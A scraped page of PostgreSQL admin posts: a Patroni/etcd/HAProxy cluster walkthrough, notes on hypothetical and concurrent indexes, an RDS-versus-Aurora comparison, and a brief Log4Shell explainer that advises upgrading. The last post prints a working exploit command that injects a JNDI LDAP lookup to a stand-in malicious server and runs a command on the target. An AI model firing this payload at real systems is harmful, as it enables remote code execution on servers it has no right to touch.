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SSH to EC2-Servers from GitBash client

STEP BY STEP - HOW TO SETUP PATRONI WITH ETCD AND HAPROXY

 STEP BY STEP - HOW TO SETUP PATRONI WITH ETCD AND HAPROXY

I have taken 2 CentOS EC2 instances:

Machine	Public IP	Private IP
VM1	3.91.208.95	172.31.95.231
VM2	54.146.6.100	172.31.90.199

 

Step 1 – ETCD INSTALLATION AND CONFIGURATION

-          Install etcd on VM1 and VM2.

 #sudo yum install etcd

 -          Edit the configuration file on each node at location - /etc/etcd/etcd.conf.

Below is the conf file for vm1 after edit. Make sure to uncomment as below and keep the appropriate values. If we want to add the cluster node then we have to add the IP for that in

“ETCD_INITIAL_CLUSTER” parameter.

 [root@ip-172-31-95-231 etcd]# cat etcd.conf

ETCD_DATA_DIR="/var/lib/etcd/default.etcd"

ETCD_LISTEN_PEER_URLS="http://172.31.95.231:2380"

ETCD_LISTEN_CLIENT_URLS="http://172.31.95.231:2379"

ETCD_NAME="vm1"

#[Clustering]

ETCD_INITIAL_ADVERTISE_PEER_URLS="http://172.31.95.231:2380"

ETCD_ADVERTISE_CLIENT_URLS="http://172.31.95.231:2379"

ETCD_INITIAL_CLUSTER="vm1=http://172.31.95.231:2380,vm2=http://172.31.90.199:2380"

  =============Conf file for vm2=============

 [root@ip-172-31-90-199 etcd]# cat etcd.conf

ETCD_DATA_DIR="/var/lib/etcd/default.etcd"

ETCD_LISTEN_PEER_URLS="http://172.31.90.199:2380"

ETCD_LISTEN_CLIENT_URLS="http://172.31.90.199:2379"

ETCD_NAME="vm2"

#[Clustering]

ETCD_INITIAL_ADVERTISE_PEER_URLS="http://172.31.90.199:2380"

ETCD_ADVERTISE_CLIENT_URLS="http://172.31.90.199:2379"

ETCD_INITIAL_CLUSTER="vm1=http://172.31.95.231:2380,vm2=http://172.31.90.199:2380"

#ETCD_INITIAL_CLUSTER_TOKEN="etcd-cluster"

 Step 2 – Start ETCD on VM1 and VM2

              # sudo systemctl start etcd

              Check the status of ETCD after stating it.

 

Step 3 – Check the cluster member from VM1 and VM2

VM1-

#ETCDCTL_API=3 etcdctl member list --write-out=table -endpoints=http://172.31.95.231:2379

VM2 –

# ETCDCTL_API=3 etcdctl member list --write-out=table --endpoints=http://172.31.90.199:2379

Step 4 - Install PostgreSQL 12 on VM1 and VM2

# sudo yum -y install https://download.postgresql.org/pub/repos/yum/reporpms/E L-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm

# sudo yum -y install epel-release yum-utils

#sudo yum-config-manager --enable pgdg12

#sudo yum install postgresql12-server postgresql12 postgresql12-contrib

Step 5 - Install Python package manager on VM1 and VM2

# sudo yum install python-pip

Step 6 - Upgrade Python package manager VM1 and VM2

# sudo pip install --upgrade "pip < 21.0"

Step 7 - Install Python setuptools

#sudo pip install --upgrade setuptools

Step 8 - Install PostgreSQL database adapter for the Python

#sudo pip install psycopg2-binary

Step 9 - Install Python library to access installed packages metadata

# sudo pip install importlib-metadata

Step 10 – Install Python wheel

# sudo pip install wheel

Step 11 - Install Patroni

# sudo pip install patroni

Step 12 - Install Python etcd client

# sudo pip install python-etcd

Step 13 – Configure patroni config file for VM1 and VM2.

I have created the config file with name pg.yml  and under /var/lib/pgsql/ location for both the nodes. It should be in proper format otherwise there will be lots issue. So I am sharing the way it should be formatted.

Pg.yml in VM1 –

                               

pg.yml  in VM2 –

                                    

Step 14 – Change the ownership of patroni config files(*.yml) to postgres:postgres

#sudo chown postgres:postgres /var/lib/pgsql/pg.yml

Step 15 – Login as a Postgres user and make the directory for Patroni on VM1 and VM2.

#su – postgres

# mkdir /var/lib/pgsql/patroni

Step 16 – Start Patroni on VM1 and VM2. Run below command as Postgres user.

===============From VM1 output should be as below============

-bash-4.2$ patroni pg.yml

The files belonging to this database system will be owned by user "postgres".

This user must also own the server process.

The database cluster will be initialized with locale "en_US.UTF-8".

The default text search configuration will be set to "english".

Data page checksums are disabled.

creating directory /tmp/data ... ok

creating subdirectories ... ok

selecting dynamic shared memory implementation ... posix

selecting default max_connections ... 100

selecting default shared_buffers ... 128MB

selecting default time zone ... UTC

creating configuration files ... ok

running bootstrap script ... ok

performing post-bootstrap initialization ... ok

syncing data to disk ... ok

initdb: warning: enabling "trust" authentication for local connections

You can change this by editing pg_hba.conf or using the option -A, or

--auth-local and --auth-host, the next time you run initdb.

Success. You can now start the database server using:

    /usr/pgsql-12/bin/pg_ctl -D /tmp/data -l logfile start

 2022-04-21 10:58:56.886 UTC [29955] LOG:  starting PostgreSQL 12.10 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44), 64-bit

2022-04-21 10:58:56.886 UTC [29955] LOG:  listening on IPv4 address "172.31.95.231", port 5432

2022-04-21 10:58:56.890 UTC [29955] LOG:  listening on Unix socket "/tmp/.s.PGSQL.5432"

2022-04-21 10:58:56.907 UTC [29955] LOG:  redirecting log output to logging collector process

2022-04-21 10:58:56.907 UTC [29955] HINT:  Future log output will appear in directory "log".

172.31.95.231:5432 - rejecting connections

172.31.95.231:5432 - accepting connections

^C-bash-4.2$

 ==================From VM2 output should be as below========

-bash-4.2$ patroni pg.yml

172.31.90.199:5432 - no response

2022-04-21 11:24:11.514 UTC [4032] LOG:  starting PostgreSQL 12.10 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44), 64-bit

2022-04-21 11:24:11.514 UTC [4032] LOG:  listening on IPv4 address "172.31.90.199", port 5432

2022-04-21 11:24:11.517 UTC [4032] LOG:  listening on Unix socket "/tmp/.s.PGSQL.5432"

2022-04-21 11:24:11.530 UTC [4032] LOG:  redirecting log output to logging collector process

2022-04-21 11:24:11.530 UTC [4032] HINT:  Future log output will appear in directory "log".

172.31.90.199:5432 - accepting connections

172.31.90.199:5432 - accepting connections

-bash-4.2$

Step 17 – Check the status of Patroni from VM1 and VM2.

# systemctl status patroni

VM2 –

Step 18 – Check if all the cluster nodes are part of Patroni configuration.

VM1 –

# patronictl -c /var/lib/pgsql/pg.yml list

VM2 –

#patronictl -c /var/lib/pgsql/pg.yml list

Step 19 – Check if Postgres cluster is started on VM1 and VM2. I had to manually start the cluster on VM2. And run the below command to check which is primary node. If it shows ‘f’ means is it primary.

-bash-4.2$ ./psql -p 5432 -h 172.31.95.231 -U postgres postgres

psql (12.10)

postgres=# select pg_is_in_recovery();

 pg_is_in_recovery

-------------------

 f

VM2 -

-bash-4.2$ ./psql -p 5432 -h 172.31.90.199 -U postgres postgres

psql (12.10)

Type "help" for help.

postgres=# select pg_is_in_recovery();

 pg_is_in_recovery

-------------------

 t

Step 20 – Perform failover testing

#[root@ip-172-31-95-231 ~]# patronictl -c /var/lib/pgsql/pg.yml failover

Candidate ['vm2'] []: vm2

Step 21 – Install HAProxy on VM1

#sudo yum install haproxy

Step 22 – Install SELinux to allow HAProxy to connect to TCP port 5432

              # sudo setsebool -P haproxy_connect_any 1

Step 23 – Configure HAProxy config file. Config file is at /etc/haproxy/ with name haproxy.cfg.

              Modify this configuration file according below.

  

Step 24 - Start the HAProxy server and check the status

#systemctl start haproxy

# systemctl status haproxy

     

             

Step 25 - Check by connecting to the HAProxy, it should route psql to the current primary.

-bash-4.2$ ./psql -p 5000 -h 172.31.95.231 -U postgres postgres

psql (12.10)

Type "help" for help.

 

postgres=#  select inet_server_addr();

 inet_server_addr

------------------

 172.31.95.231

(1 row)

VM2 is my current primary –

 ====================THE END=======================

 

Hypothetical index in Postgres

A hypothetical index in PostgreSQL is a special type of index that doesn't actually exist physically on disk but is "imagined" or "simulated" by PostgreSQL. This allows you to evaluate the potential benefits of an index without incurring the cost of creating it.

Hypothetical indexes are used primarily for performance tuning and query optimization. You can analyze how a query would behave if a particular index were to exist, helping you decide whether creating the index is worthwhile.

#Install the extension

CREATE EXTENSION hypopg ;

\dx

Create a hypothetical index

 CREATE TABLE hypo (id integer, val text) ;

INSERT INTO hypo SELECT i, 'line ' || i FROM generate_series(1, 100000) i ;

VACUUM ANALYZE hypo ;

EXPLAIN SELECT val FROM hypo WHERE id = 1;

SELECT * FROM hypopg_create_index('CREATE INDEX ON hypo (id)') ;

EXPLAIN SELECT val FROM hypo WHERE id = 1;

EXPLAIN ANALYZE SELECT val FROM hypo WHERE id = 1;

  

Manipulate hypothetical indexes

SELECT * FROM hypopg_list_indexes ;

SELECT * FROM hypopg() ;

SELECT indexname, hypopg_get_indexdef(indexrelid) FROM hypopg_list_indexes ;

SELECT hypopg_create_index('CREATE INDEX ON hypo (id, val text_pattern_ops)');

EXPLAIN SELECT * FROM hypo

 

EXPLAIN SELECT * FROM hypo

WHERE id < 1000 and val LIKE 'line 100000%';

 

How to do Index size estimation ?

SELECT indexname,pg_size_pretty(hypopg_relation_size(indexrelid))

FROM hypopg();

 

Test for size validation :

CREATE INDEX ON hypo (id);

CREATE INDEX ON hypo (id, val text_pattern_ops);

SELECT relname,pg_size_pretty(pg_relation_size(oid))

FROM pg_class WHERE relkind = 'i' AND relname LIKE '%hypo%';

  

Concurrent indexes in Postgres

A concurrent index in PostgreSQL refers to an index that is created or rebuilt in a way that allows normal operations (INSERT, UPDATE, DELETE, SELECT) to continue on the table during the process. This feature is especially useful in production environments where downtime or blocking operations need to be minimized.

 Demo -

 create table demo_table ( id int, name varchar(100));

insert into demo_table

select id.*, md5(id::varchar) from generate_series(1,200000) id;

 create index idx_id on demo_table(id);

delete demo_table where id='100000';

 postgres=#

create index idx_id on demo_table(id);

delete from demo_table where id='100000';

Concurrent index demo

drop index idx_id;

create  index concurrently idx_id on demo_table(id);

  

Note :if the creation fails it exists and needs to be dropped:

 

\d demo_table

explain select * from demo_table where id= 100000;

select relpages from pg_class where relname = 'idx_id';

Note - When a create index operations fails in concurrent mode make sure that you drop the index immediately.

One more thing to keep in mind: When you create an index concurrently and there is another session already modifying the data the create index command waits until that other operation completes:

Differences between RDS PostgreSQL and Aurora PostgreSQL

Differences between RDS PostgreSQL and Aurora PosgreSQL

1. Storage Differences

RDS PostgreSQL

RDS PostgreSQL uses Amazon Elastic Block Storage (EBS). All data and logs are managed in the EBS volume attached to the instance. EBS volume is localized to a single availability zone and can not be shared by multiple EC2 instances.

RDS PostgreSQL can grow up to 64TB.

RDS PostgreSQL Automatically scales up 5 GB.

Amazon Aurora PostgreSQL

Aurora uses distributed storage which is replicated across 3 availability zones.

Amazon Aurora PostgreSQL can grow up to 128TB.

Aurora PostgreSQL automatically scales up in chuck of 10GB

2. Replica Differences

RDS PostgreSQL –

RDS uses synchronous streaming replication between primary and read replica.

Maximum of 5 read replica can be added to RDS PostgreSQL.

There is synchronous streaming between Primary and read replica.

Replication lag is in seconds. Sometimes it can be 30 seconds.

RDS supports cross region replication.

 Aurora PostgreSQL –

Aurora shares storage tier between primary and read replica. Replica in Aurora cluster shares the Storage volume. Aurora does not depend on streaming replication. All of replication happens at storage tier. Hence it is extremely efficient and does not any load on the compute resources.

Aurora supports up to 15 read replicas.

Replication lag is in mili seconds.

supports same region replication because all read replicas shares the storage tier spread across multiple availability zone in the same region.

3.DR Strategies, High Availability and Failover

From disaster recovery prospective cross region replication is an important concept. And we have seen that RDS PostgreSQL support cross region replication.

With Aurora database with no support of cross region but DB strategies can be implemented by way of Global Aurora Database.

For High availability, RDS PostgreSQL can be setup in multi AZ mode with one standby instance and one primary instance across two AZ’s are referred to as multi AZ instance deployment.

In case of any failure RDS automatically failover to the standby instance. By the way this failover can also be a planned failover. In such a setup standby instance can not be used as read.

If there are more than one standby instance in the multi AZ RDS setup then the setup is referred as multi AZ cluster deployment.  In case of failure of primary instance of request for a manual failover, RDB promotes one of the standby instances to become the primary instance. In this setup standby instance can be used as read replica.

RDS PostgreSQL –

RDS supports failover by way of multi AZ instance or cluster setup.

Failover takes 60-120 sec.

RDS uses synchronous replication between primary and standby instances.

 Aurora PostgreSQL –

Aurora supports failover by the way of read replica.

Failover takes 30 Seconds.

Aurora shared the storage tier share between the instances to meet the replication requirement.

4.Backups

Both RDS and Aurora PostgreSQL carry out automated backups and they also allow for manual backups. The differences are in the frequency of backups and how the backups are created.

RDS PostgreSQL –

RDS PostgreSQL takes daily backup during backup window. Backup window is controlled by the user.

Slight performance impact during backup.

In case of multi AZ, backups are taken from standby instance.

Point in time recover is slower than the Aurora PostgreSQL.

Aurora PostgreSQL –

Aurora PostgreSQL carries out continuous incremental backups.

No performance impact during backup.

Backup are carried out at storage tier.

Point in time recover is faster than the RDS PostgreSQL.

What is Log4JShell Vulnerability and how to remediate it

 The Log4J vulnerability, also sometimes referred to as Log4JShell, can be exploited to allow for the complete takeover of the target to run any arbitrary code.

This affects versions of log4j 2.0-beta9 through 2.14.1 – the current advisory is to update to the fixed release version 2.15.0 or greater.

The Exploit

The most simplistic example being:  

curl https://target.domain.tld -H 'X-Api-Version: ${jndi:ldap://malicious_server/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' -o/dev/null -v

when executed this runs touch /tmp/pwned on the target system.

There are many such examples being tracked at the time of writing which seeks to either exploit the issue or at the very least confirm the presence of the issue.